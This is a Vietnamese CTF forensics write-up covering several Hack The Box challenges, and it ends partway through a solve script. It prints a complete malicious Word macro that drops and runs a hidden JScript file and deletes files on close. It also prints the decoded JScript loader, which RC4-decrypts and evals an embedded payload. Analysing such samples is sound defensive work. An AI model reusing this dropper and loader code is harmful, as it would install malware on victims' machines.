Flag: HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
Game Invitation
credit: Nex0
Đề cấp cho ta 1 file docm. Check macro luôn thôi nhỉ? Mình dùng olevba
.
Full macro script embed trong file:
Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
Code obfuscate bằng tên biến, đọc cũng khá xuôi :v. Đại khái là nó search pattern sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa
trong binary của document đang hoạt động (chính là con docm này). Khi tìm thấy pattern rồi sẽ skip pattern, lấy 13082 data đằng sau modify đi thành code js và chạy.
Mình find index của pattern đó trong binary bằng HxD
, sau đó viết 1 script để lấy phần code js ra:
with open("forensics_game_invitation\invitation.docm", "rb") as f:
data = f.read()
index = 0x1FCB9
js = data[index : index + 13082]
xorkey = 45
newd = [0 for i in range(13082)]
for i in range(len(js)):
newd.append(js[i] ^ xorkey)
xorkey = (xorkey ^ 99) ^ (i % 254)
for i in newd:
print(chr(i), end = "")
Output dính vào nhau khá đau mắt 💀, mình ném lên https://lelinhtinh.github.io/de4js/ để nó format lại cho dễ nhìn:
Full Script Js:
var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);
function af5Q(r) {
var a = r.charCodeAt(0);
if (a === 43 || a === 45) return 62;
if (a === 47 || a === 95) return 63;
if (a < 48) return -1;
if (a < 48 + 10) return a - 48 + 26 + 26;
if (a < 65 + 26) return a - 65;
if (a < 97 + 26) return a - 97 + 26
}
function JrvS(r) {
var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var t;
var l;
var h;
if (r.length % 4 > 0) return;
var u = r.length;
var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
var n = new Array(r.length * 3 / 4 - g);
var i = g > 0 ? r.length - 4 : r.length;
var z = 0;
function b(r) {
n[z++] = r
}
for (t = 0, l = 0; t < i; t += 4, l += 3) {
h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
b((h & 16711680) >> 16);
b((h & 65280) >> 8);
b(h & 255)
}
if (g === 2) {
h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
b(h & 255)
} else if (g === 1) {
h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
b(h >> 8 & 255);
b(h & 255)
}
return n
}
function xR68(r, a) {
var t = [];
var l = 0;
var h;
var u = "";
for (var g = 0; g < 256; g++) {
t[g] = g
}
for (var g = 0; g < 256; g++) {
l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
h = t[g];
t[g] = t[l];
t[l] = h
}
var g = 0;
var l = 0;
for (var n = 0; n < a.length; n++) {
g = (g + 1) % 256;
l = (l + t[g]) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
}
return u
}
function lyEK() {
var r = "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";
return r
}
:)) Nhận diện thuật toán, sau khi đọc 1 hồi mình nhìn ra ngay 2 hàm kia để decode base64 và rc4, mình sẽ decrypt biến r
luôn. Quay trở lại con vbs, ta có key rc4 là argv[1]
truyền vào file js, chính là đoạn này:
Decrypt thôi:
Tại code sau khi decrypt này, ta thấy luôn flag trong đó, decode ra:
Flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
It_Has_Begun
credit: Nex0
Đề cho ta 1 file bash. Dễ dàng thấy 2 phần flag trong pcname và đoạn được cho vào crontab:
2: NG5kX3kwdVJfR3IwdU5kISF9
1: tS_u0y_ll1w{BTH
Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}
Phreaky
credit: Nex0
Đề cấp 1 file pcap, đại khái là nó truyền file bằng cách zip, set password rồi base64 lại. Khá troll vì không đọc được trường :(. Mình code quick script sau để dump data ra:
import os
from base64 import b64decode
os.system('strings phreaky.pcap | grep Password > password')
os.system('tshark -nr phreaky.pcap -Y "smtp && imf" -T fields -e media.type | tr -d "\n" | xxd -r -p > data.txt')
with open("data.txt", "r") as f:
data = f.readlines()
